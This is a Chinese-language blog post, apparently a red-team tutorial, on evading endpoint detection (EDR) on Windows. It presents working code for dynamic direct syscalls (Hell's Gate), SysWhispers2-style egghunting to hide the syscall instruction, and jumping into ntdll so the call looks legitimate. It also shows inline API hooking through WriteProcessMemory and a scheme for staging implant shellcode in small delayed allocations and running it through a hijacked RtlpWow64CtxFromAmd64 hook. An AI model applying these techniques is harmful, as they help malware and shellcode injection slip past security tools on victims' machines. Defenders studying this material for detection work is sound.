规避“系统调用标记”

规避“系统调用标记”

规避常见的恶意API调用模式及使用直接系统调用并规避“系统调用标记”,来bypass edr

直接使用系统调用

在用户态运行的系统要控制系统时,或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数,这些函数分别以“Nt”和“Zw”开头,这种函数叫做Native API,下图是调用过程:

这些nt开头的函数一般没有官方文档,很多都是被逆向或者泄露windows源码的方式流出的。

FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
我们可以通过在内存中找到函数的首地址来调用这些nt开头的函数

在反编译syscall函数之后,可以得到一段非常具有特征的汇编指令

1
2
3
mov     r10,rcx
mov eax,xxh
syscall

用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos api并找到对应的底层内核api

这里有个很好的网站sycall系统调用号文档
因为syscall在这里存储的是系统调用号

我们可以在visual studio中直接反编译查看汇编代码与字节码
工具->选项->启用地址级调试
在调试过程中,Debug->window->disassembly

动态进行syscall

我们很多时候使用syscall不是直接调用,不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的,所以我们需要进行动态syscall
这里我们可以直接使用Hell’s Gate来遍历NtDLL的导出表,根据函数名hash,找到函数的地址。接着使用0xb8获取到系统调用号,之后通过syscall来执行一系列函数
通过TEB获取到dll的地址可以参考:前置知识

接下来我们的步骤是

  1. 解析pe结构,获取导出表
  2. 遍历hash表和导出表,找到syscall的函数,通过标记的方式获得系统调用号
  3. 调用syscall,分配内存,修改内存属性,创建线程

这些在Hell’s Hate已经实现,我们重点来看一下这段代码

1
2
3
4
5
6
7
8
9
10
11
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}

为什么匹配这几个字节就能找到syscall调用号
这里有张图很明确

可以看到syscall的汇编语句比较固定

1
2
3
4C8BD1 -> mov r10, rcx
B8XXXXXXXX -> move eax,xx
0f05 -> syscall

而我们逐个字节进行遍历,直到出现mov r10, rcx和move eax,经过位运算得到syscall调用号
这是我们生成的syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)

.data
wSystemCall DWORD 000h

.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP

HellDescent PROC
mov r10, rcx
mov eax, wSystemCall

syscall
ret
HellDescent ENDP
end

SysWhispers2

SysWhispers2 是一个合集,用python生成.c源码文件。这些文件的作用和Hell’s Gate类似,也是在PE中找导出表,之后通过对比函数hash找到syscall调用号。相对Hell’s Gate有更多的函数可供选择,不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)

我们在动态使用syscall的时候已经发现了,syscall反编译之后的汇编语句比较固定,那这么这样的话syscall特征非常明显,静态特征就很容易被识别到
对于这个问题,SysWhispers2做出了相应的解决办法

egghunter
在fuzzysecurity的二进制教程中提到过相关技术
先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了
我们在内存中使用db表示一个字节,比如我们在内存中.txt段写入”w00tw00t”的字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP

接下来遍历全文,去寻找我们埋下的彩蛋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{

ULONG64 startAddress = 0;
ULONG64 size = 0;

GetMainModuleInformation(&startAddress, &size);

if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}

ULONG64 currentOffset = 0;

unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;

printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);

while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}

if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}

if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}

}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}

这样做虽然可以绕过静态的检测了但依旧存在问题,理论上syscall行为应该只存在ntdll中,而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为

而对与RIP的检测,作者也给出了技术方案,还是比较简单的。在内存中搜索syscall的地址,直接jmp到该位置。即可让RIP指向ntdll
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1

机器学习特征的edr的检测

https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection

windows api hook

  1. 找到内存中需要被hook的函数地址LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
  2. 找到后将前七个字节改为跳转,如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    unsigned char jmpSc[7]{
    0xB8, b[0], b[1], b[2], b[3],
    0xFF, 0xE0
    };
    ```
    3. 机器码对应的汇编指令大概是
    ```arm
    move eax,xxxx
    jmp eax
  3. 修改内存
    1
    2
    3
    4
    5
    6
    7
    WriteProcessMemory(
    hProc,
    lpDllExport,
    jmpSc,
    sizeof(jmpSc),
    &szWritten
    );
    实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能,保存原本的七个字节,在shellcode中再次替换这部分内存并jump回来

Windows 内存分配的一些规则

在windows 10 64位下,内存最小的分配粒度为4kB, systeminfo结构体中,标识了这个变量,为内存分页的大小。
在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:

我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存,那么整块0x40010000 (64kB)区域将不能被重新分配。

实现原理

很多edr将创建远程线程的行为列为可疑行为,比如windows definder仅仅是做记录但并不报警,产生报警还有其他的判断逻辑

  1. 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存,不如分配小块但连续的内存,例如<64KB的内存,并将其标记为NO_ACCESS。然后,将shellcode按照相应的块大小写入这些内存页中。
  2. 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间,但也会淡化连续执行模式。
  3. 使用钩子,劫持RtlpWow64CtxFromAmd64函数,执行恶意shellcode

参考文章
https://xz.aliyun.com/t/11496
https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/
https://blog.redbluepurple.io/windows-security-research/bypassing-injection-detection


规避“系统调用标记”
https://glacierrrr.online/2022/11/12/规避“系统调用标记”/
作者
Glacier
发布于
2022年11月12日
许可协议